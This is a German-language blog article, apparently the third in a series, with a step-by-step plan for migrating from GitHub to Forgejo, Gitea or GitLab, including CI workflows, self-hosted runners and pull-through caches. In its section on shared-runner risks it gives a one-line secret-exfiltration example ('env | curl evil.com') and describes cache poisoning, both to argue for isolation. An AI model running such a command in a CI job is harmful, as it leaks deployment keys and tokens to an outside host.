Migration mit CI-Fokus: Vom Plan zur Ausführung
Teil 3 einer dreiteiligen Serie zu GitHub-Alternativen.
Migrationen scheitern selten an der Technik. Sie scheitern an der Reihenfolge, an unterschätzten Webhooks und an einer CI-Pipeline, die im falschen Moment ausfällt. Dieser dritte Teil beschreibt eine Migration, die funktioniert — von der Schadensbegrenzung am ersten Tag bis zum Egress-Audit nach dem Cutover.
Der erste Teil hat den Anlass beschrieben, die ab 24. April 2026 wirksame Default-on-Trainingsnutzung von Copilot-Interaktionsdaten. Teil 2 beschäftigte sich mit den Alternativen zu github. Bleibt die Frage, wie man von hier nach dort kommt, ohne dabei wochenlang liegen zu bleiben oder beim Umzug versehentlich neue Probleme aufzureißen. Der Schwerpunkt liegt auf dem schmerzhaftesten Punkt — der CI-Pipeline — und auf einer Reihenfolge, die Kontrollgewinn mit Betriebsrisiko balanciert.
Sieben Phasen der Migration
Was hier folgt, hat in funktioniert in Projekten für einen und dutzenden Entwicklern. Es ist keine theoretische Idealsequenz, sondern die Reihenfolge, die Schaden minimiert und Lernzeit zulässt.
Phase 1 — Schadensbegrenzung am ersten Tag
Vor jeder Planung lohnt sich ein Blick auf die Settings der bestehenden GitHub-Organisation — einige davon bringen ohne weiteren Aufwand den größten Effekt. Seit dem 24. April 2026 ist die Hauptbaustelle der Schalter „Allow GitHub to use my data for AI model training" unter /settings/copilot/features — für jedes individuelle Copilot-Konto in Free-, Pro- oder Pro+-Variante. Daneben gehört der ältere „Use code snippets to improve products"-Schalter geprüft, Public-Repos werden auf Private umgestellt, wo möglich, und in alle README-Dateien wandert ein TDM-Vorbehalt. Das schließt die strukturelle Backdoor nicht — aber es reduziert das akute Loch deutlich und verschafft Zeit für die saubere Migration.
Phase 2 — Inventur
Ohne Inventur keine Migration. Gebraucht werden Zahlen und Listen: Anzahl Repos, LFS-Nutzung, Submodules, Branch-Protection-Regeln, Codeowners, Secrets, verwendete Marketplace-Actions, Self-hosted Runner, Packages und Container-Registry, Webhooks, Apps und Bots, Org-Struktur, SSO-/SCIM-Anbindung, offene PRs und Issues, Wikis, Pages, Releases. Ein einfaches Skript reicht für den Anfang:
gh api orgs/MEINE-ORG/repos --paginate --jq '.[].name' > repos.txt
for repo in $(cat repos.txt); do
echo "## $repo"
gh api repos/MEINE-ORG/$repo/actions/workflows --jq '.workflows[].path'
done > inventory.md
Phase 3 — Zielplattform-Pilot
Eine Repo-Auswahl, die typisch ist — eine Anwendung, eine Library, ein Infrastruktur-Repo —, wird komplett auf die Zielplattform umgezogen. Inklusive CI, inklusive Deployment in Staging. Erst wenn das funktioniert, geht es weiter. Wer in dieser Phase Abkürzungen nimmt, zahlt sie später mit Zinsen zurück.
Phase 4 — Code-Migration
Hier ist Git unauffällig portabel. Auf der neuen Plattform wird ein leeres Repo angelegt, dann:
git clone --mirror git@github.com:MEINE-ORG/repo.git
cd repo.git
git remote set-url --push origin git@git.example.de:meine-org/repo.git
git push --mirror
Für Issues, Pull Requests, Wikis und Releases bringen die meisten Zielplattformen Importer mit. Forgejo und Gitea bieten in der Web-UI einen GitHub-Importer, der Issues, Comments, Labels, Milestones und Wiki überträgt. GitLab liefert ein ähnliches Tool. Pull Requests werden meist in Issues konvertiert, weil das PR-Modell zwischen Plattformen nicht 1:1 übersetzbar ist.
Wer Commit-E-Mails bereinigen will — etwa private Adressen aus der History —, nutzt vor dem Push git-filter-repo. Vorsicht bei OSS-Projekten: Forks haben die alte History und übernehmen Bereinigungen nicht.
Phase 5 — CI-Migration
Der Hauptaufwand. Details folgen weiter unten in einem eigenen Abschnitt.
Phase 6 — Cutover
Alle Entwickler stellen ihre Remotes um (git remote set-url origin <neu>), Webhook-Konsumenten — Slack, Sentry, Linear — werden umkonfiguriert, Deployment-Pipelines auf neue URLs gebracht. Das alte GitHub-Repo wird auf read-only gesetzt, mit einer auffälligen README-Anpassung („MIGRATED — siehe git.example.de"). Nach dreißig Tagen ohne Beschwerden: archivieren oder löschen.
Phase 7 — Egress-Audit
Nach dem Cutover lohnt der zweite Blick. Welche Datenflüsse exportieren weiterhin Code-Snippets oder Build-Metadaten? Dependency-Pulls (npm, PyPI, Docker Hub), Telemetrie der Build-Tools, externe Action-Mirrors, Container-Base-Images. Nicht jeder Egress ist problematisch — wer ohnehin AWS, Azure oder Cloudflare nutzt, wird hier nicht alles eliminieren.
Sinnvoll ist eine bewusste Bestandsaufnahme: Was geht wohin, und ist das vereinbar mit der Default-off-Linie, die für den Code selbst gezogen wurde? Ein eigener Pull-Through-Cache (Sonatype Nexus, Harbor, Artifactory self-hosted) reduziert zumindest die feinkörnigen Build-Metadaten, die sonst pro Job entstehen.
CI-Migration: Der harte Teil
GitHub Actions sind tief im GitHub-Ökosystem verwurzelt. Wer migriert, hat drei Wege, die sich in Aufwand und Lock-in unterscheiden.
Der erste, drop-in-naheste, ist Forgejo- oder Gitea-Actions. Die Engine ist API-kompatibel mit GitHub Actions; die meisten Workflows funktionieren ohne oder mit minimaler Änderung. actions/checkout, actions/setup-node, actions/cache, actions/upload-artifact haben Mirrors auf code.forgejo.org und werden automatisch aufgelöst, wenn die Runner-Konfiguration entsprechend gesetzt ist.
Ein typischer Workflow bleibt fast unverändert. Auf GitHub:
name: CI
on: [push, pull_request]
jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: actions/setup-node@v4
with: { node-version: 20 }
- run: npm ci
- run: npm test
Auf Forgejo Actions, identisch bis auf eine Zeile:
name: CI
on: [push, pull_request]
jobs:
test:
runs-on: docker
steps:
- uses: actions/checkout@v4
- uses: actions/setup-node@v4
with: { node-version: 20 }
- run: npm ci
- run: npm test
Der einzige Unterschied: runs-on: docker statt ubuntu-latest. Forgejo-Runner erwarten ein Docker-Image als Runtime-Umgebung, kein vorgefertigtes ubuntu-latest. Im Runner-Config:
labels:
- "docker:docker://node:20-bookworm"
- "ubuntu-latest:docker://catthehacker/ubuntu:act-22.04"
Der zweite Weg ist Plattform-natives YAML. Bei der Migration zu GitLab CE muss in .gitlab-ci.yml übersetzt werden. Das gleiche Beispiel:
stages: [test]
test:
stage: test
image: node:20-bookworm
script:
- npm ci
- npm test
Für eine Library mit zwei Workflows — CI und Release — ist das übersichtlich. Für ein Repo mit fünfzehn reusable Workflows, Composite Actions und Matrix-Builds wird daraus Tagewerk: realistisch ein bis drei Personentage pro komplexem Repo.
Der dritte Weg ist Plattform-Neutralisierung. Die Build-Logik wandert in Skripte (Makefile, Taskfile, Justfile, Bazel), und die CI ruft nur noch make ci auf. Vorteil: Die nächste Plattform-Migration wird zum YAML-Wrapper-Tausch. Nachteil: höhere Initial-Investition.
Für datenschutzfokussierte Migrationen ist der erste Weg meistens der pragmatische, weil Forgejo Actions ohnehin die migrationsfreundlichste Option ist.
Self-Hosted Runner: Wer den Code ausführt
Selbst nach erfolgreicher Repo-Migration läuft der Code in den Build-Schritten irgendwo. Wer GitHub-hosted Runner nutzt, hat Microsoft Azure als Ausführungsumgebung. Wer GitLab.com Shared Runners nutzt, hat Google Cloud. Diese Default-Runner sind funktional gut, aber sie sind erstens eine Default-on-Entscheidung über den Ausführungsort und zweitens ein Kostenfaktor, sobald Build-Minuten knapp werden. Beide Argumente sprechen für self-hosted Runner — unabhängig davon, ob die Infrastruktur am Ende bei einem EU-Hyperscaler, bei Hetzner oder im eigenen Rechenzentrum landet.
Drei Setups bieten sich je nach Skalierung an. Für fünf bis zwanzig Entwickler mit moderater Build-Last reicht ein dedizierter Bare-Metal-Server bei Hetzner Robot — ein AX42 oder ähnlich, ungefähr 50 Euro pro Monat — mit Forgejo Runner als systemd-Service:
# /etc/systemd/system/forgejo-runner.service
[Unit]
Description=Forgejo Actions Runner
After=docker.service
Requires=docker.service
[Service]
ExecStart=/usr/local/bin/forgejo-runner daemon
WorkingDirectory=/var/lib/forgejo-runner
User=runner
Restart=on-failure
[Install]
WantedBy=multi-user.target
Für variable Last lohnen sich dynamisch provisionierte Runner in der Hetzner Cloud. Forgejo unterstützt das nicht out-of-the-box wie GitHub, aber act_runner lässt sich über ein einfaches Skript in einer Hetzner-Cloud-Snapshot-VM hochfahren und nach Build-Ende wieder zerstören. Die API hilft:
hcloud server create \
--name "ci-runner-$(date +%s)" \
--type cax11 \
--image ci-runner-snapshot \
--location nbg1 \
--ssh-key ci-key
Für Teams mit bestehender Kubernetes-Infrastruktur ist die dritte Variante naheliegend: Forgejo-Runner-Pods als Jobs, getriggert von einem webhook-basierten Controller. Der Forgejo-Runner läuft in K8s, das offizielle Helm-Chart ist verfügbar, Skalierung läuft über HPA, Ressourcen-Isolation pro Build durch separate Namespaces.
In allen drei Varianten gilt dasselbe Set an Best Practices: Runner-Lebenszyklen kurz halten (ephemerale Runner pro Build), Build-Caches auf eigenem S3-kompatiblem Storage (MinIO, Garage) speichern und Runner für unterschiedliche Repo-Sensitivitäten klar trennen. Ein Build für ein OSS-Repo darf nicht denselben Runner wie ein Build für proprietären Code teilen.
Warum getrennte Runner-Pools
Diese letzte Regel klingt pingelig, ist aber der häufigste Quellpunkt für Supply-Chain-Vorfälle in selbstgehosteten CI-Setups. OSS-Repos und proprietäre Repos haben grundlegend verschiedene Vertrauensmodelle: jede Pull Request gegen ein OSS-Repo führt im CI Code aus, der von einem beliebigen Menschen aus dem Internet stammt. Wenn der Runner kurz vorher oder parallel einen proprietären Build verarbeitet hat, sitzt der Angreifer in der Vertrauenszone.
Vier Angriffsflächen entstehen, wenn Runner geteilt werden.
Secrets-Exfiltration. Build-Runner haben Zugriff auf Deployment-Keys, Container-Registry-Credentials, Signing-Zertifikate, API-Tokens für interne Systeme. Eine bösartige PR kann diese mit env | curl evil.com trivial abgreifen. GitHub hat das Problem so ernst genommen, dass pull_request_target als separater Trigger eingeführt wurde — Workflows mit Secrets sollen niemals für Code aus Forks getriggert werden. Wer self-hosted CI baut, muss diese Trennung selbst herstellen.
Cache Poisoning. Runner cachen aus Performance-Gründen npm-Module, pip-Wheels, Docker-Base-Images, Maven-Artefakte. Eine OSS-PR kann diese Caches manipulieren — der Backdoor landet damit nicht im OSS-Repo, sondern im nächsten Release der proprietären Software. Genau dieses Muster war beim Codecov-Vorfall 2021 und in der xz-utils-Episode Anfang 2024 im Spiel: nicht der Quellcode wurde kompromittiert, sondern die Build-Pipeline.
Netzwerk-Topologie. Interne Runner haben oft Zugriff auf Artefakt-Registries, Datenbanken für Integrationstests, Cloud-APIs mit Service-Account-Berechtigungen. OSS-Builds auf demselben Runner können diese Dienste scannen, attackieren oder Daten exfiltrieren. Ein gemeinsamer Pool macht das gesamte interne Netzwerk zur Angriffsfläche jeder PR.
Compliance-Audit. Proprietärer Code unterliegt oft Anforderungen aus SOC 2, ISO 27001, BSI-Grundschutz oder NIS2. Diese verlangen kontrollierte, auditbare Build-Umgebungen mit nachvollziehbarem Code-Lineage. Sobald öffentliche OSS-Builds auf derselben Infrastruktur laufen, ist der Audit-Trail nicht mehr garantierbar — du kannst nicht mehr belegen, dass nur kontrollierter Code in Produktion landet.
Praktisch bedeutet das mindestens drei Pools: ein Pool für public OSS-Builds (ephemere VMs, keine Secrets, kein internes Netzwerk), ein Pool für proprietäre Builds (mit Secrets und internem Netzwerk, nur autorisierte Beitragende), und ein hochprivilegierter Release-Pool (für Signing und Production-Deployment, am besten mit Hardware-Security-Modul, nur main-Branch). Bei GitHub-hosted Runnern kümmert sich GitHub um die Isolation — jeder Job kriegt eine frische VM. Bei selbstgehosteten Runnern bist du selbst dafür verantwortlich, und genau hier wird der Fehler gemacht: aus Bequemlichkeit landet der OSS-Build auf demselben Bare-Metal-Runner wie der Production-Build, weil „der hat ja schon alle Caches".
Pull-Through-Caching: Der oft übersehene Hebel
Selbst der beste self-hosted Runner zieht im Build-Schritt Pakete von Registries, die meist außerhalb der eigenen Kontrolle liegen. Ein typischer npm ci-Lauf macht hunderte Anfragen an registry.npmjs.com — jede mit IP, User-Agent, Auth-Token. Das ist nicht zwangsläufig ein Datenschutz-Problem, aber es ist Datenmüll, der unnötig das Build-Profil exponiert und bei Supply-Chain-Vorfällen zur Schwachstelle wird.
Die Lösung heißt Pull-Through-Proxy: Sonatype Nexus oder JFrog Artifactory CE als Cache- und Auth-Layer, einmal vor allen Runnern installiert.
# .npmrc im Repo
registry=https://nexus.example.de/repository/npm-proxy/
# pip.conf
[global]
index-url = https://nexus.example.de/repository/pypi-proxy/simple/
Der erste Build holt Pakete einmal vom Origin, alle weiteren aus dem internen Cache. Der Effekt ist zweifach. Erstens sehen externe Registries nur die zentrale Nexus-IP, nicht jede Build-Maschine einzeln — das vereinheitlicht die Profil-Information. Zweitens lässt sich im Fall eines Supply-Chain-Angriffs mit eingefrorenen Versionen aus dem Cache weiterarbeiten, während die Ursache untersucht wird. Damit ist Pull-Through-Caching eine der lohnendsten Investitionen, mit oder ohne Plattform-Migration.
Migrations-Checkliste zum Abhaken
Eine kompakte Liste für die Praxis. Für ein typisches Mittelstands-Setup mit zwanzig bis fünfzig Entwicklern und fünfzig bis zweihundert Repos.
Vorbereitung:
- Inventar aller Repos, Workflows, Secrets, Webhooks, Apps erstellt
- Marketplace-Action-Liste mit Forgejo/Gitea-Kompatibilität geprüft
- Zielplattform entschieden (Codeberg / Forgejo SH / GitLab CE)
- Hosting-Provider ausgewählt (mit Datenschutz-Position bewusst entschieden)
- Backup- und Restore-Strategie dokumentiert
- AVV mit Hosting-Provider unterzeichnet
- Pilot-Repos identifiziert (1 App, 1 Library, 1 Infra)
Plattform-Aufbau:
- Forgejo/GitLab CE installiert und konfiguriert
- TLS via Let’s Encrypt oder eigenem CA
- Reverse Proxy konfiguriert (TLS-Terminierung bewusst entschieden)
- SSO-Anbindung (LDAP, Keycloak, Authentik)
- Storage-Backups eingerichtet (täglich, off-site, restore-getestet)
- X-Robots-Tag-Header für noai gesetzt
- robots.txt und ai.txt am Web-Root
- Self-hosted Runner registriert und getestet
- Pull-Through-Cache (Nexus / Artifactory) aufgesetzt
Per Repo:
-
git push --mirrorauf neue Remote - Issues / PRs / Wiki via Importer übertragen
- Workflows nach Forgejo Actions konvertiert
- Secrets neu angelegt (nicht exportiert!)
- OIDC-Trust zu Cloud-Providern neu konfiguriert
- CI-Lauf grün auf neuer Plattform
- Branch-Protection-Regeln übernommen
- CODEOWNERS verifiziert
- TDM-Vorbehalt in README eingefügt
- Webhooks (Slack, Sentry, Linear) auf neue Plattform umgehängt
- Deployment-Pipeline aus neuer Plattform getriggert, in Staging deployt
Cutover:
- Entwickler-Onboarding für neue Plattform durchgeführt
- Alte Repos auf read-only mit Migration-Notice
- Kommunikation an alle abhängigen Teams (DevOps, Security, Compliance)
- Monitoring auf neue Plattform-Endpoints umgestellt
Nacharbeit:
- Egress-Audit durchgeführt (welche Code-/Build-Daten gehen wohin)
- Datenschutzfolgenabschätzung aktualisiert
- Verzeichnis von Verarbeitungstätigkeiten aktualisiert
- Alte GitHub-Org nach 30–90 Tagen gelöscht
- Lessons Learned dokumentiert
Wann sich Migration lohnt — und wann nicht
Trotz aller Argumente kostet eine Migration. Realistisch sind 0,5 bis 1,5 Personenmonate Initialaufwand für ein Mittelstands-Setup, plus laufender Betrieb von zehn bis zwanzig Stunden pro Monat für die self-hosted Variante.
Klar lohnt sich der Aufwand, wenn geistiges Eigentum schützenswert ist — proprietärer Algorithmus, Geschäftslogik, sensible Domain —, wenn Compliance-Anforderungen wie DSGVO, NIS2, KRITIS oder ISO 27001 ohnehin Druck machen, oder wenn das Unternehmen strategisch auf europäische Lieferketten setzt.
Weniger lohnt er sich, wenn der Code überwiegend OSS ist und ohnehin public — dann bleibt als Pflichtprogramm nur die saubere TDM-Reservation —, wenn Teams sehr klein und tief im GitHub-Ökosystem verwurzelt sind, oder wenn Nutzungsverträge mit Kunden GitHub-Hosting explizit zulassen.
Eine pragmatische Mittelposition existiert: Sensitive Repos auf eine self-hosted Forgejo-Instanz, OSS-Beiträge bleiben auf Codeberg oder GitHub. Das ist organisatorisch komplexer, datenschutzrechtlich aber sauber begründbar.
Schlussbemerkung
Drei Teile, drei Perspektiven: das Problem, die Alternativen, der Migrationsweg. Was zwischen den Zeilen steht, ist das eigentlich Wichtige — Code-Hosting ist eine Entscheidung mit langfristigen Konsequenzen, die in der Regel ohne ausreichende Diskussion getroffen wird. Wer jetzt migriert, baut für die Compliance- und KI-Welt der nächsten zwei bis fünf Jahre.
Der harte Hebel sind nicht die Tools selbst — die gibt es alle, sie sind reif, sie funktionieren. Der Hebel ist die organisatorische Bereitschaft, „läuft halt auf GitHub" durch eine bewusste, dokumentierte Architekturentscheidung zu ersetzen. Default-on ist die Antwort darauf, was passiert, wenn niemand bewusst entscheidet. Wer dem etwas entgegensetzen will, fängt damit an, selbst zu entscheiden.
Diese Serie:
- Teil 1: Default-on ab 24. April – GitHub trainiert Copilot mit Nutzer-Code
- Teil 2: Alternativen im Vergleich – Codeberg, Forgejo, Gogs, Launchpad und mehr
- Teil 3: Migration mit CI-Fokus – vom Plan zur Ausführung (dieser Artikel)